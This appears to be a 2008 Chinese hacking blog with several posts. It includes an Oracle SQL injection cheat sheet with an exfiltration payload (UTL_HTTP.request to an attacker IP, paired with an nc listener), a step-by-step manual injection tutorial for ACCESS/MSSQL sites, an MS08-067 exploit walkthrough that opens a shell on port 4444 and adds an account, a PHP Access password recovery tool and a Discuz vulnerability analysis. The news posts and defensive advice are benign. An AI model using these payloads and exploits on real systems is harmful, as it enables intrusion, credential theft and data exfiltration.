Oracle说明:

oracle的注射攻击学习,可以归为:

a.基本猜解:

1. 数据库名的猜解,表名的猜解,字段的猜解,数据的猜解.等基本数据的猜解.(半折法)

2. union方式猜解

3. UTL_HTTP.request反弹数据猜解.(需能上网)

4. 其它方式的猜解,诸如把表段内容,update或insert入可以显示的字段里,诸如网页,然后读取获知.

b.高级攻击方式:

1. 数据库提权攻击,一般是利用函数漏洞,提升为DBA权限.(oracle的DBA相当于mssql的sa,为数据库的最高权限)

2. 导出shell攻击.

3. 利用数据库漏洞,执行系统指定.

c.数据库漏洞.

1. 远程溢出,本地提权等漏洞(我们只管exp)

2. 存在的配置方面的漏洞整理,诸如默认弱口令,以及得到弱口令之后,如何提权等原因.

第一部份:

===================基本信息的猜解=========================

说明:

oracle会把一些有用的信息保存在系统表里面,诸如all_tables,所以注射时对这些表的猜解,可以获取到很多的基本信息.

获得操作系统版本:

[code]select member from v$logfile where rownum=1
[/code]

通过路径方式判断操作系统.如果出现c:,d:类的是windows,其它为*nix

查看sid:

[code]select instance_name from v$instance

[/code]
查询当前用户权限

select * from session_roles

当前数据库版本

select banner from sys.v_$version where rownum=1

服务器出口IP

用utl_http.request可以实现

服务器监听IP

select utl_inaddr.get_host_address from dual

当前连接用户

select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual

反弹方式:(本机:nc -vv -lp 8000)

http://www.target.com/servlet/bbs2005.Userdetail?sUserName=test' and UTL_HTTP.request('http://59.151.22.37:8000/'||(select instance_name from v$instance where rownum=1))=1–

==================基本信息的猜===========================

基本信息的猜解主要是方便后期的注射攻击.

十一月 30th, 2008

Posted In: 未分类

据国外媒体报道,美国马萨诸塞州17岁黑客Dshocker日前承认,曾入侵多家企业网络系统,利用所******************信用卡信息非法消费,以及拨打紧急求助电话捉弄警察等。

  Dshocker在黑客界和游戏圈颇有名气,曾多次以黑客组织myg0t和其他著名黑客名义发动攻击。据波士顿检方称,2005年以来,Dshocker利用由成千上万台计算机组成的“僵尸网络”发动拒绝服务攻击(DDoS)。今年1月,Dshocker又将注意力转向愚弄警察。首先,Dshocker侵入到互联网服务供应商网络,获得用户包括电话号码在内的各种注册信息。然后,Dshocker把拨打911的电话号码伪装成盗来的号码。Dshocker曾多次拨打911紧急求助电话,导致全副武装的警察虚惊一场。

  除了进行网络攻击,从2005年开始,Dshocker还利用盗来的信用卡信息进行欺诈消费。此外,他还利用从一家大型电子公司******************的一款软件修改了宽带调制解调器,从而达到免费上网的目的。Dshocker最高将面临10年入狱监禁,并罚款25万美元。

十一月 20th, 2008

Posted In: 未分类

[code]


[/code]

十一月 19th, 2008

Posted In: 未分类

无数的黑客传奇小说,都不如实际的来一场实践玩得刺激,特别是美国这个国度,自由的土壤滋生了无数的幻想和可能。

一个月前,美司法部起诉了11名涉嫌非法闯入美国9大零售商电脑系统、并偷盗贩卖4100万个信用卡和提款卡号的网络黑客,其中一人为美国密情局特工。这是美国司法部处理过的最大一起黑客入侵、身份盗窃案件。

就此次黑客入侵事件,这里深入洞悉此次事件背后的一切秘密。

1.攻击者是如何具体入侵无线网络的?

要入侵无线网络,黑客需要打破无线网络的WEP加密。这种加密协议存在缺陷,很容易被攻破,进而进入受保护的网络。

美国波士顿的联邦检察官迈克尔沙利文表示,一旦进入网络内部,那三个安装好的“嗅探器”程序就会在零售商的卡处理网络中到处嗅探,捕获信用卡号码、密码和帐户信息。还有一些其他私人号码可以帮助他们访问已经签发并且激活了的信用卡和借记卡。

2.整个事件中入侵者都利用了哪些漏洞,采用了哪些入侵手段?

黑客使用的是一种广为流行并且普遍适用的技术,即通过前端资料隐码入侵获取访问数据库。这直接通过一个公众所面临的界面(HTTP)执行,并且依赖于利用贯穿网络层到后端系统的数据查询。在这种情况下,这是管理方面的问题——这是一个广泛、普遍存在的问题,应该一直严肃对待。

服务器系统可能遇到各式各样的攻击,一旦被入侵,客户的数据资料确实可能处于危险之中。典型的案例包括通过 “被迫式”下载来自动安装恶意软件。

“被迫式”下载往往发生在用户访问一个有漏洞的网页的时候,它将从网页浏览器中找到没有打补丁的漏洞进而安装恶意代码。当然这并不一定发生在服务器上,它可能发生在作为与关键系统处于同网络的客户系统上。恶意软件(木马)往往从那里散播到整个网络。

然而,在这种情况下,确保无线网络的安全看起来是一个简单的问题。没有采用“零日” 攻击,而是利用一种众所周知的具有无线加密协议的安全问题。通过使用加密技术如WEP或者更强有力的机制如WPA、WPA2可以保护大部分无线网络的安全。据说WEP拥有各种安全性缺陷,其加密协议很容易被破解从而进入该无线网络。无线网络不应该允许访问敏感数据的。基于这些原因,一个相对容易的安全漏洞出现。我们所提及的嗅探器程序是一种后门木马,它们是一种可以搜集并传递信息的恶意代码,也是当今网络犯罪很受欢迎的黑客工具。

3.为什么这么长时间才破获这个案件?

据CNN报道,调查开始于2006年年底,除了司法部门,密情局通过美国在圣地亚哥联邦调查局进行了三年多的秘密调查。

司法部在一个声明中表示,黑客当时隐藏了他们控制的位于美国和东欧的在加密计算机服务器上的数据。一些信用卡和借记卡的号码通过互联网出售给其他人,然后将信用卡号加密存储于空白卡来取现金。通过在空白卡的磁条上加密“兑现”。当局声称,被告然后用这些卡每次在ATM取款机上提取数万美元。花了这么长时间是因为调查这些事件十分复杂,在各个地区牵扯到许多因素。不同国家针对加密储存数据的法律不同,导致了调查加密数据存储只会拖延调查的进程。

4.是攻击者技术手段很高,没有让任何一方察觉,还是其他原因?

这存在两个主要问题。

第一个是关于最初的安全漏洞:在防护无线网络和数据的时候,用简单的手段保护无线网络的防护协议非常脆弱。很容易通过无线网络获得敏感信息,这是设计和拓扑布局的问题。

第二个问题是关于恶意后门木马程序在网络上的蓬勃发展,并且搜集了大量的信息用于恶意目的。这些木马程序常常被疏忽。通过部署适当的安全系统,最初的漏洞不会再发生。当一个漏洞出现,一个恶意的内部人员进入网络,综合安全系统各个功能应该会阻止这些木马:反病毒就是一个很好的例子。

网络安全的一系列发展正导致一个综合解决方案的出现,从而使网络能够伸缩自如以抵御绝大部分攻击。这个解决方案的关键组件正在由产品厂商推出,被称之谓UTM,或统一威胁管理系统。

促使内部网络安全成为危机点的两个主要因素是:

(1)网络犯罪:随着犯罪分子在身份盗窃与勒索方面越来越成熟,他们所涉及的网络范围也越来越大。现在,他们把目标锁定在提供丰富机会的特定公司和网站,因为它们可以带来有价值的交易或者储备了大量个人信息如信用卡和银行账户的数据库。

(2)怀有恶意的内部人员:对于一般终端用户可使用的入侵、扫描和开发网络资源的工具和技术的数量不断剧增。随着时间的推移,那些导致信息或者业务资源真正丢失的内部人员事件将会增加。为了保护组织免受来自这些方面的攻击,局域网接入点必须看作是一个安全周界。

5. 国内企业应该采取哪些防范措施?

无线网络不能访问关键数据,并且采用更为强大的加密算法(非WEP协议)。

通过封包分析(入侵防御系统)防御资料隐码入侵。

通过入侵防御系统防御漏洞利用(恶意下载,服务攻击)。

通过反垃圾邮件、反病毒和网页过滤(有恶意漏洞利用的网址或其它恶意软件)防御网络钓鱼类攻击。

通过防火墙政策保护来自不可信任来源未被授权的端口访问。

通过为软件提供最新更新和补丁防范成功的漏洞攻击。

通过反病毒软件防御在网络上泛滥并危及敏感信息的恶意代码。

6. 特殊时期哪些安全措施尤为重要?

公司IT管理人员应该为员工推荐以下培训:

决不要打开第三方建议的、未经请求的链接——取而代之的是,打开你的浏览器输入你想要访问的网址URL。

升级安全解决方案——适当拥有一个有效的反垃圾邮件、网页过滤和防病毒的解决方案,并且确保持续更新。

“点击之前,请选择”——用几秒钟的时间看一下你打算点击的链接,始终要有意识,注意那些企图通过使用错误拼写或者古怪的子域名使之看似合法的链接。

保护隐私——永远不要应第三方的请求泄露个人信息,如银行帐号、信用卡或者密码。

了解你的供应商——当使用个人信息来进行在线交易的时候,确保供应商是一个可信任的来源而且交易是通过一个安全的连接进行的。

关键问题培训——员工应该清楚了解安全风险,尤其在加强警戒阶段,推荐通过简单的培训来防御社会工程攻击。

补丁、补丁、补丁——所有的软件,尤其是浏览器和操作系统,应该获取最新的更新(补丁)。这将确保网页漏洞被关闭,使远程攻击者不能利用已知的漏洞。

防患于未然,各行,都适用,特别是网络安全行业。

十一月 15th, 2008

Posted In: 未分类

[code]
";
echo "您知道啥是MDB么?t" . $oldname . "是MDB后缀吗?后缀是啥知道不?";
}
else
{
//为access2000异或的源码
$PassSource2k=array(0xa1,0xec,0x7a,0x9c,0xe1,0x28,0x34,0x8a,0x73,0x7b,0xd2,0xdf,0x50);
//Access97的异或源码
$PassSource97=array(0x86,0xfb,0xec,0x37,0x5d,0x44,0x9c,0xfa,0xc6,0x5e,0x28,0xe6,0x13);

//$file = 'Level5555.mdb';

$ver = file_get_contents($file,1,null,0x14,1);//版本
$ver = hexdec(bin2hex($ver));
$EncrypFlag= file_get_contents($file,1,null,0x62,1);//加密标志
$EncrypFlag = hexdec(bin2hex($EncrypFlag));
for($i=66;$i < 92; $i++){ $temp = file_get_contents($file,1,null,$i,1);//加密标志 $pass[].=hexdec(bin2hex($temp)); } if ($ver < 1){ $MdbVersion="Access 97"; if(($pass[0] ^ $PassSource97[0])==0) $MdbPassword="密码为空!"; else{ $MdbPassword=""; for($i=0;$i < 13; $i++) $MdbPassword .=chr($pass[$i*2] ^ $PassSource2k[$i]); } }else{ $MdbVersion="Access 2000 or 2002"; for($i=0;$i < 13; $i++){ if(($i % 2)==0) $t1 = chr(0x13 ^ $EncrypFlag ^ $pass[$i*2] ^ $PassSource2k[$i]); else $t1 = chr($pass[$i*2] ^ $PassSource2k[$i]); $MdbPassword .=$t1; } } if(ord($MdbPassword[1]) < 0x20 || ord($MdbPassword[1]) > 0x7e)
$MdbPassword="密码为空!";
}
}
?>




Access在线解密


MDB文件:

Access 版本:
文件名:
密码: " type="text" class="input" size="39" >

———————————————————————————————————

选择一个本地的mdb文件,上传解密,如发现密码不完整或者解密不出的问题,请随时联系我

———————————————————————————————————



[/code]

十一月 13th, 2008

Posted In: 未分类

恶补基础:

要想学会手工注入,有一个名词是不得不提的,那就是数据库系统!

1。简介

数据库系统分为数据库和数据库管理系统!数据库是存放数据的地方,数据库管理系统则是管理数据库的软件!数据库中数据的存储节构叫数据模型!有四种常见的数据模型,分别是层次模型、网状模型、关系模型和面向对象模型。其中关系数据模型是最主要的数据模型,ACCESS、MSSQL、ORACLE等都是关系模型数据库系统。其中以ACCESS、MSSQL数据库系统最为常见!这些都是理论的知识,希望大家理解!

2。基本概念

表:表是一个关系数据库的基本组成元素!它按行与列组合排列成相关信息。通常行称为记录,列称为域。每个域称为一个字段!每一条记录都由多个字段组成。每个字段的名字叫做字段名,每个字段的值叫估字段值。表中的每一行即每一条记录都拥有想同的结构!

3。注入的条件

只有调用数据库的动态页面才有可有存在注入漏洞,动态页面包括asp php jsp cgi等。本文只讲对ASP页面的注入。那什么是调用数据库的页面呢?比如这样的形势:asp?id= php?id= 这样的样子的都是调用数据库的页面。"?"后面加的id的名字叫变量,注意这个变量是可以随便换的,"="号后面的值名字叫参数!这个参数也是可以变的!大家的思路一定要灵活,要学会举一反三,不要太死板!

4。注入漏洞的原理分析:

程序对用户提交的变量没有进行有效的过滤,就直接带入查询语句中,这样,我们就可以提交具有数据查询功能的语句,加入到程序将要提交的信息中去,再根据服务器返回的信息来判断数据库里的内容!光这样说大家可能不太好理解,不要紧,接着往下看。

有关的基础已经讲完了 下面开始实战练习部分!

实战部分

如果是刚刚接触注入的新手朋友,我们要做的第一步就是,用鼠标右键点击桌面上的IE图标,再点属性,然后再点“高级”,然后往下拉滚动条,找到“显示友'好'HTTP错误信息”,把前面的勾去掉,再点“确定”,这样做是为了让我们得到更多的服务器返回的信息!

第一部分:ACCESS数据库手工注入

1。判断是否存在注入漏洞:

这个相信大家都应该知道! 就是在一个调用数据库的网址后面加上分别加上 and 1=1和 and 1=2 ,如果加入and 1=1返回正常(就是和原来没有加 and 1=1时页面样子的一样),而加入 and 1=2返回错误(和原来没有加 and 1=2时页面的样子不一样),就可以证明这个页面存在注入漏洞。比如:

http://www.xxx.com/a.asp?id=7

,这个网页,我们在后面加上 and 1=1(两个空格,and前面一个,and和1=1之间一个!),网址就变成了

http://www.xxx.com/a.asp?id=7 and 1=1

,用IE打开这个网页,返回正常!再尝试在后面加上and 1=2,网址就变成了

http://www.xxx.com/a.asp?id=7 and 1=2

,同样用IE打开这个网页,返回错误!这就说明这个网页

http://www.xxx.com/a.asp?id=7

存在注入漏洞,是一个注入点!(存在注入漏洞的网页叫注入点!)
可是,并不是所有的页面都可以这样判断,有的页面不管你加入 and 1=1 还是 and 1=2,返回的都是错误的页面,难道这样的页面就没有注入漏洞吗?不一定!比如这个页面:

http://www.xxxxxx.com/b.asp?id=ade7

, 不管我们在后面上的是and 1=1还是and 1=2,它都返回错误的页面!这个时候我们就要尝试用另一种方法来测试漏洞了,这种方法可以说是and 1=1和and 1=2的变种方法。原来的网址是这样的:

http://www.xxxxxx.com/b.asp?id=ade7

,现在我们把它变成这个样子:

http://www.xxxxxx.com/b.asp?id=ade7' and '1'='1

,用IE打开它,看看返回正不正常!如果正常,那就可以接着用这个地址来进一步测试漏洞是否存在(如果返回不正常那这个页面就很有可能不存在注入漏洞!):

http://www.xxxxxx.com/b.asp?id=ade7' and '1'='2

,用IE打开这个网址,如果返回错误的话,那这个网址

http://www.xxxxxx.com/b.asp?id=1

就存在注入漏洞!

A。数字型参数注入点分析!

这时肯定有朋友要问了,为什么用一开始那种and 1=1 and 1=2不行呢!呵呵,先不要急,先看看这两个存在注入漏洞的页面有什么不一样?

(你不要告诉偶第二个网址比第一个网址多了几个X),相信大家已经看到了,第二个网址后跟的参数是ade7,是字符!而第一个网址后跟的参数是7,是数字!就是因为这里,才引起了测试漏洞的语句的不同!学过数据库的朋友们应该知道,在查询中,字符型的值,是要用单引号包起来的,也就是这个样子'字符型数据'。这里假设第一个注入页面所对应的查询语句是这样的(凡是调用数据库的页面都会有一条或者几条对应的查询语句,用来对数据库里的内容进行查询!)

:select * from 表名 where id=7。这是原来的那条查询语句,这条语句是正确的,可以在数据库中查询出相应的内容!可是如果我们在网址后面加上了 and 1=1,那这条查询语句就会变成select * from 表名 where id=7 and 1=1(这下知道了注入漏洞原理分析那里讲的变量没有过滤的意思了吧!),这里有必要说一些数据库的有关知识,这条语句里,and是逻辑运算符!(这个记住就行了),用中文翻译过来就是“和”的意思!在高中的数学里讲过,用“和”来连接的两个句子,必须都是真的,不然整个句子就不是真的!比如:苹果和大象都是水果。这句话就是错的,苹果是水果,可是大象不是!这下大家应该可以理解“用“和”来连接的两个句子,必须都是真的,不然整个句子就不是真的”这句话了吧。如果换成苹果和梨都是水果,那这句话就是对的。知道了and的用处后,再回来看select * from 表名 where id=7 and 1=1这个句子,and 前面的select * from 表名 where id=7肯定是对的,(为什么呢,如果这条查询语句都不对,那这个注入页而就有问题了!所以and前面的那个句子一定是对的!)。再看and后面,1= 1,不用我说了吧,也是对的(难道一不等于一吗?)根据刚才说的and用处,现在我们可以判定select * from 表名 where id=7 and 1=1这条查询语句,仍然是对的!所以它还是可以正确地从数据库里查询出信息,返回给我们!

举一反三,那这个句子:select * from 表名 where id=7 and 1=2,肯定是不对的了,那这条查询语句就不能正确地从数据库里查询出信息,所以我们就会看到一个错误的页面! 以上是注入点参数是int(整数型)时的分析!

B。字符型参数注入点分析

和刚才一样,我们先来看第二个字符型注入页面里的查询语句,比如是这个select * from 表 where id='ade7'(为什么加引号?看前面吧!)。原来的查询语句是这个样子的,如果我们还按照数字型参数的那种测试漏洞的方法的话,语句就会变成这样: select * from 表 where id='ade7 and 1=1'和
select * from 表 where id='ade7 and 1=2' ,因为程序会自动查询引号里的内容,如果我们按前面这两个语句这样提交的话,程序就会查询id值为ade7 and 1=1和ade7 and 1=2的记录,这样是查不到结果的(你可不要告诉我数据库里正好有两个记录的id就是ade7 and 1=1 和and 1=2)。这里可能有朋友要问了,为什么不是查询id为'ade7,然后and 1='1呢?好,我现在回答你们,就算可以查询id值为'ade7的记录,那这个句子也是错的,1怎么会等于'1呢?对吧?更何况程序是不可能查询 'ade7的,更准备的说是数据库中不可能有一个字段的值是'ade7,因为这个字符串少一个引号,如果直接把这个字符串存入数据库的话,程序会报错的!怎么样?明白了吧?

现在再说用 ' and '1'='1和' and '1'='2来测试的的原理!同样是这个查询语句:
select * from 表 where id='ade7',如果我们在网址后面加了' and '1'='1,那这个查询语句就会变成
select * from 表 where id='ade7' and '1'='1'(这里最外面的那一层引号是程序自动加上的),变成这个样子!这个语句对不对呢?我们分析一下。如果我们提交个语句,那程序就会自动查询 id值是ade7的记录!因为这个记录是存在的(不存在的话那就是这个网页有问题了!),然and后面跟的'1'='1'是正确的,所以这个语句是正确的!如果我们把' and '1'='1换成' and '1'='2,那语句就成了select * from 表 where id='ade7' and '1'='2',只看后面我们就可以知道这个语句对不对了!'1'怎么可能等于'2'呢?是吧?好了,字符型参数的注入点的原理就介绍到这里!

2。数据库类型的判断

在确定了一个地址是注入点后,我们首先要判断这个注入点所连接的数据库的类型!这里介绍几种简单的方法。如果一种判断不出来就再换另一种判断方法!

A。在注入点后直接加上单引号。有的时候我们可以根据服务器报错的信息来判断它用的是什么数据库。通过这个错误信息我们可以看出来这个注入点所连接的数据库的类型是ACCESS,为什么呢,仔细看!它说的是Microsoft JET Database Engine 錯誤 '80040e14' ,说明是通过JET引擎连接数据库,而不是ODBC!如果是用JET方法连接的话就说明用的是ACCESS数据库,如果是ODBC的话就说明数据库是 MSSQL!这个记住就行了。其实还有详细的错误信息,它直接把数据库的类型告诉你了!因为我没有找到这样的注入点,这里就截不了图了。大家遇的到话肯定一眼就可以看出来! B。在注入点后加上(注意,你先确定了它是注入点后再加,不是注入点你加了也没用!): ;–(一个分号,两个横线!)比如这个网址

http://www.xxxxxxxx.com/article/as.asp?id=875

,我们事先已经确定了它是注入点了, 这样的话我们就可以在后面加上;–让它变成

http://www.xxxxxxxx.com/article/as.asp?id=875;–

提交这个网址,如果页面返回正常的话,说明数据库是MSSQL。因为在MSSQL数据库里,;和–都是存在的,";" 用来分离两个语句,而"–"就是注释符,在它后面的语句都不执行!而ACCESS数据库里没有!所以如果是ACCESS的数据库,当你在注入地址
后面加上";–"的话那程序就会把";–"当成参数的一部分,这样查询就会出错!如果错误,那基本上可以肯定是ACCESS了(因为网上用这两种数据库的网站最多!)

C。用以上方法都判断不出来的话,那可以用这一招!利用ACCESS和MSSQL数据库的差异来进行判断!要用到两个查询语句!同样,如果注入点是

http://www.xxxxxxxx.com/article/as.asp?id=875

,那我们在后面加上

and exists (select count(*) from sysobjects),

那么地址就变成了

http://www.xxxxxxxx.com/article/as.asp?id=875 and exists (select count(*) from sysobjects)

。如果页面正常返回,那就可以证明数据库是MSSQL的。我来解释一下这个语句:这个句子的意思是查询sysobjects表里的记录数大于0!(有点别扭!)如果返回正常,说明大于0,也就说明存在sysobjects这个表,因为这个表只有MSSQL数据库里才有,所以可以确定数据库的MSSQL的!如果返回错误,那就不是!那我们怎么用查询语句来判断数据库是不是ACCESS的呢!别急,往下看!我们在注入点后加上 and exists (select count(*) from msysobjects)。就成了

http://www.xxxxxxxx.com/article/as.asp?id=875 and exists (select count(*) from msysobjects)

,按刚才理解MSSQL数据库的方法去理解这条语句!这里要注意,提交这个语句是不会返回正常页面的!就算是ACCESS数据库也不会返回正常的页面!因为默认情况下,我们是没有权限查询这个表里的数据的!不过WEB会提示我们 “记录无法读取;'msysobjects'没有读取权限”!如果返回的是这个错误信息的话,那就证明是ACCESS数据库了!!简单地来说就是两条查询语句:
and exists (select count(*) from sysobjects)
and exists (select count(*) from msysobjects)

如果第一条返回正常,那就是MSSQL数据库,如果两条都不正常,那就是ACCESS数据库了(这里只讨论MSSQL和ACCESS)

注意:上面讲的全是参数是int的时候的检测方法,如果参数是字符型的,那就先要在参数后面加上单引号,然后再在查询语句最后加上";–"

3。猜表、字段名、检测记录数、检测字段长度。
我按照工具注入的流程给大家讲!

A。猜表!
用到的语句:and exists (select count(*) from 你要猜的表名) 。在注入点后加上这句话,如果返回正常,说明你猜的表是存在的!比如

http://www.xxxxxxxx.com/article/as.asp?id=875 and exists (select count(*) from admin)

,如果返回正常,说明admin这张表存在!如果返回错误,就说明不存在!。别的表也都是这么猜!

B。猜列!

用到的语句:and (select count(列名) from 猜到的表名)>0 。在注入点后加上这句话,如果返回正常,说明你猜的列是存在的!比如

http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(username) from admin)>0

,如果返回正常,那username这个列就存在!不过首先要确定from后面跟的表名要是存在的哦!不然你怎么猜都是错的!

C。检测记录数

用到的语句:and (select count(*) from 猜到的表名)>X (X是个数字)。在注入点后加上这句话,并不停地变换X这个数字,直到猜到准确的记录数为止!比如

http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(*) from admin)>2

,这个句子是猜admin表里有几条记录的,也就是有几个管理员(因为一个管理员对应一条记录嘛!)。如果返回正常,说明admin这张表里的记录数大于 2。这个时候我们把2改成别的大一点的数!比如5,如果返回错误,说明管理员的个数在2和5之间,2和5之间的整数是3和4,这个时候我们变换语句为

http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(*) from admin)=3或者=4

,哪个返回正常那管理员的个数就是哪个。如果提交>5还返回错误,那就再取一个更大的数,再重复刚才的动作就可以猜到记录数!

D。检测字段长度

用到的语句:and (select top 1 len(列) from 表)>X (X和刚才一样!)。我来解释一下这个句子,select top 1是查询第一条数据的意思!(在WEB环境下不支持多行回显!只是一次查询的数据不能超过一行!),len是MSSQL里的一个函数,用法是len(), ()里可以是字符串也可以是表达式也可以是列名!知道这些,大家应该可以看懂了吧!后面那个X的变换方法上面的一样!

十一月 13th, 2008

Posted In: 未分类

测试之后发现,本机和目标机必须要开启以下服务,否则就算对方没有打补丁也会失败。
Server、Computer Browser、Workstation。
下面测试开始(和我局域网的同学们的电脑我都会第一时间叫他们打补丁。。。这次没法儿用他们的电脑测试了,我只好装虚拟机测试)
[code]signed int __stdcall sub_5FDDA180(int a1, wchar_t *a2, int a3, int a4, int a5)
  {
  wchar_t *v5; // ebx@1
  size_t v6; // edi@1
  int v7; // esi@1
  int v8; // edi@3
  signed int result; // eax@4
  wchar_t *v10; // eax@5
  unsigned int v11; // eax@10
  size_t v12; // eax@14
  __int16 v13; // ax@16
  size_t v14; // eax@3
  int v15; // [sp+428h] [bp-4h]@1
  wchar_t *v16; // [sp+10h] [bp-41Ch]@1
  int v17; // [sp+Ch] [bp-420h]@1
  wchar_t v18; // [sp+14h] [bp-418h]@2
  v5 = a2;
  v15 = dword_5FE1E18C;
  v7 = a1;
  v16 = (wchar_t *)a3;
  v6 = 0;
  v17 = a5;
  if ( a1 && *(_WORD *)a1 )
  {
  v12 = wcslen((const wchar_t *)a1);
  v6 = v12;
  if ( v12 )
  {
  if ( v12 > 0x208 )
  return 123;
  wcscpy(&v18, (const wchar_t *)v7);
  v13 = LOWORD((&v16)[v6 + 1]);
  if ( v13 != 92 )
  {
  if ( v13 != 47 )
  {
  wcscat(&v18, &word_5FDECBD4);
  ++v6;
  }
  }
  if ( *v5 == 92 || *v5 == 47 )
  ++v5;
  }
  }
  else
  {
  v18 = 0;
  }
  v14 = wcslen(v5);
  v8 = v14 + v6;
  if ( v8 < v14 )   return 123;   if ( (unsigned int)v8 > 0x207 )
  return 123;
  wcscat(&v18, v5);
  v10 = &v18;
  if ( v18 )
  {
  do
  {
  if ( *v10 == 47 )
  *v10 = 92;
  ++v10;
  }
  while ( *v10 );
  }
  if ( !sub_5FDD9F7A(&v18) && !sub_5FDDA26B((int)&v18) )//这个函数修改过了
  return 123;
  v11 = 2 * wcslen(&v18) + 2;
  if ( v11 > a4 )
  {
  if ( v17 )
  *(_DWORD *)v17 = v11;
  result = 2123;
  }
  else
  {
  wcscpy(v16, &v18);//缓冲区溢出点
  result = 0;
  }
  return result;
  }
  被修改的函数:
  //—– (5FDDA26B) ——————————————————–
  signed int __stdcall sub_5FDDA26B(int a1)
  {
  wchar_t v1; // ax@1
  int v2; // ecx@1
  int v3; // ebx@1
  int v4; // edi@1
  int v5; // esi@3
  int v6; // eax@10
  __int16 v7; // dx@10
  __int16 v8; // bx@11
  __int16 v10; // dx@17
  int v11; // ecx@18
  __int16 v12; // ax@19
  int v13; // eax@34
  wchar_t *v14; // ecx@41
  char v15; // zf@1
  int v16; // [sp+Ch] [bp-4h]@1
  v2 = a1;
  v1 = *(_WORD *)a1;
  v3 = 0;
  v4 = 0;
  v15 = *(_WORD *)a1 == 92;
  v16 = 0;
  if ( v15 || v1 == 47 )
  {
  v10 = *(_WORD *)(a1 + 2);
  if ( v10 == 92 || v10 == 47 )
  {
  v11 = a1 + 4;
  while ( 1 )
  {
  v12 = *(_WORD *)v11;
  if ( *(_WORD *)v11 == 92 )
  break;
  if ( v12 == 47 )
  break;
  if ( !v12 )
  return 0;
  v11 += 2;
  }
  if ( !*(_WORD *)v11 || (v2 = v11 + 2, v1 = *(_WORD *)v2, a1 = v2, v1 == 92) || v1 == 47 )
  return 0;
  }
  }
  v5 = v2;
  if ( !v1 )
  return 1;
  while ( 1 )
  {
  if ( v1 == 92 )
  {
  if ( v3 == v5 – 2 )
  return 0;
  v4 = v3;
  v16 = v5;
  goto LABEL_6;
  }
  if ( v1 != 46 || v3 != v5 – 2 && v5 != v2 )
  goto LABEL_6;
  v6 = v5 + 2;
  v7 = *(_WORD *)(v5 + 2);
  if ( v7 == 46 )
  {
  v8 = *(_WORD *)(v5 + 4);
  if ( v8 == 92 || !v8 )
  {
  if ( !v4 )
  return 0;
  wcscpy((wchar_t *)v4, (const wchar_t *)(v5 + 4)); //可能会发生缓冲区溢出
  if ( !v8 )
  return 1;
  v16 = v4;
  v5 = v4;
  v13 = v4 – 2;
  while ( *(_WORD *)v13 != 92 && v13 != a1 )
  v13 -= 2;
  v2 = a1;
  v4 = v13 & -(*(_WORD *)v13 == 92);
  }
  goto LABEL_6;
  }
  if ( v7 != 92 )
  break;
  if ( v3 )
  {
  v14 = (wchar_t *)v3;
  }
  else
  {
  v6 = v5 + 4;
  v14 = (wchar_t *)v5;
  }
  wcscpy(v14, (const wchar_t *)v6);//可能会发生缓冲区溢出
  v2 = a1;
  LABEL_7:
  v1 = *(_WORD *)v5;
  if ( !*(_WORD *)v5 )
  return 1;
  v3 = v16;
  }
  if ( v7 )
  {
  LABEL_6:
  v5 += 2;
  goto LABEL_7;
  }
  if ( v3 )
  v5 = v3;
  *(_WORD *)v5 = 0;
  return 1;
  }
[/code]
以上是原码
下载地址:http://milw0rm.com/sploits/2008-MS08-067.rar
在cmd下直接运行 MS08-067.exe 出现命令帮助

MS08-067.exe
很简单,只需要输入 MS08-067.exe IP 就可以了。

MS08-067 Exploit for CN by EMM@ph4nt0m.org
目标机为虚拟机(IP 192.168.1.2),攻击者为本机(IP 192.168.1.188)
虚拟机端口开放如下:

输入命令:
MS08-067.exe 192.168.1.2
提示:
SMB Connect OK!
Send Payload Over!

再次查看虚拟机的端口:

我们看到当我们运行了 MS08-067.exe 192.168.1.2 之后,虚拟机的端口出现了个 4444 端口,状态为 LISTENING ,这时就说明已经溢出成功了,接下来我们在本机运行
Telnet 192.168.1.2 4444
就可以了Telnet登陆到目标机了。
执行个命令加个帐户看看,成功了~

测试到此结束,以下关于此次测试大家可能遇到的几个问题我在这里集中回答下。

Q:我的 服务 里没有 Server 这个服务怎么办?
A:在 本地连接-属性 里 点 安装-服务-添加-Microsoft 网络的文件和打印机共享 ,点确定,会提示是否重启,其实不用重启就可以,在服务里按F5刷新一下就有这个服务了。

Q:提示
SMB Connect OK!
RpcExceptionCode() = 1722
这样溢出成功了么?
A:溢出失败,对方开启了防火墙。

Q:提示
Make SMB Connection error:1203
是怎么回事?
A:对方没有开机联网或者没有安装 Microsoft 网络的文件和打印机共享 协议 或没有启动Server服务。

Q:提示
SMB Connect OK!
Maybe Patched!
是怎么回事?
A:目标已经打上了这个补丁。

十一月 12th, 2008

Posted In: 未分类

由于Discuz! 的wapindex.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$_DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.

一 分析

/wap/index.php

//43行
$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = addslashes(stripslashes($chs->Convert($$key)));
}
unset($chs);
}

if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
require_once './include/'.$action.'.inc.php';

这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法有一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE,那么POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL[再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串]:)

/wap/include/register.inc.php

//124行
require_once DISCUZ_ROOT.'./include/cache.func.php';
$_DCACHE['settings']['totalmembers']++;
$_DCACHE['settings']['lastmember'] = $discuz_userss;
updatesettings();

这个地方是注册用户后更新缓存数据,再来看看updatesettings()是怎么处理的:

include/cache.func.php

//252行
function updatesettings() {
global $_DCACHE;
if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
writetocache('settings', '', '$_DCACHE['settings'] = '.arrayeval($_DCACHE['settings']).";nn");
}
}

可以看到这个地方写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将仅仅只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings'] ['lastmember']:)

include/common.inc.php

//95行:
